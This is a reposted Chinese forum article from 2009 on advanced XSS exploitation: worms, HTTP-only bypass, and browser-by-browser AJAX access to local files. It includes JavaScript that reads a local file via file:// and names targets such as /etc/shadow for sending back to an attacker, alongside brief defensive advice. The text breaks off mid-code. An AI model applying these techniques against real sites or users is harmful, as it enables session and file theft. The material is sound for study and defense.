频道栏目
首页 > 安全 > 网站安全 > 正文

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页

2009-05-30 00:12:22           
收藏   我要投稿

By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

 

-------------------------------------------前言---------------------------------------------------------


本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
JavaScript/">http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

 


如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

 

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

 

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.

 

------------------------------------------研究正题----------------------------------------------------------

 

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.
4:Http-only可以采用作为COOKIES保护方式之一.

 

 

(I) AJAX在不同的浏览器下的本地文件操作权限:(读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)

 

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

 

    3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

 

    4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}

 

    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = [Microsoft.XMLHTTP, MSXML.XMLHTTP, Microsoft.XMLHTTP, Msxml2.XMLHTTP.7.0, Msxml2.XMLHTTP.6.0, Msxml2.XMLHTTP.5.0,

 

    Msxml2.XMLHTTP.4.0, MSXML2.XMLHTTP.3.0, MSXML2.XMLHTTP];

    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions[i]);

    } catch(e) {}

    }

    }

    return request;

    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;

    }

 

    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);

 

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}

 

    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = [Microsoft.XMLHTTP, MSXML.XMLHTTP, Microsoft.XMLHTTP, Msxml2.XMLHTTP.7.0, Msxml2.XMLHTTP.6.0, Msxml2.XMLHTTP.5.0,

 

 &n

上一篇:动网论坛(DVBBS)Show.asp页面过滤不严导致跨站漏洞
下一篇:如何突破数据库Loop防下载实例
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站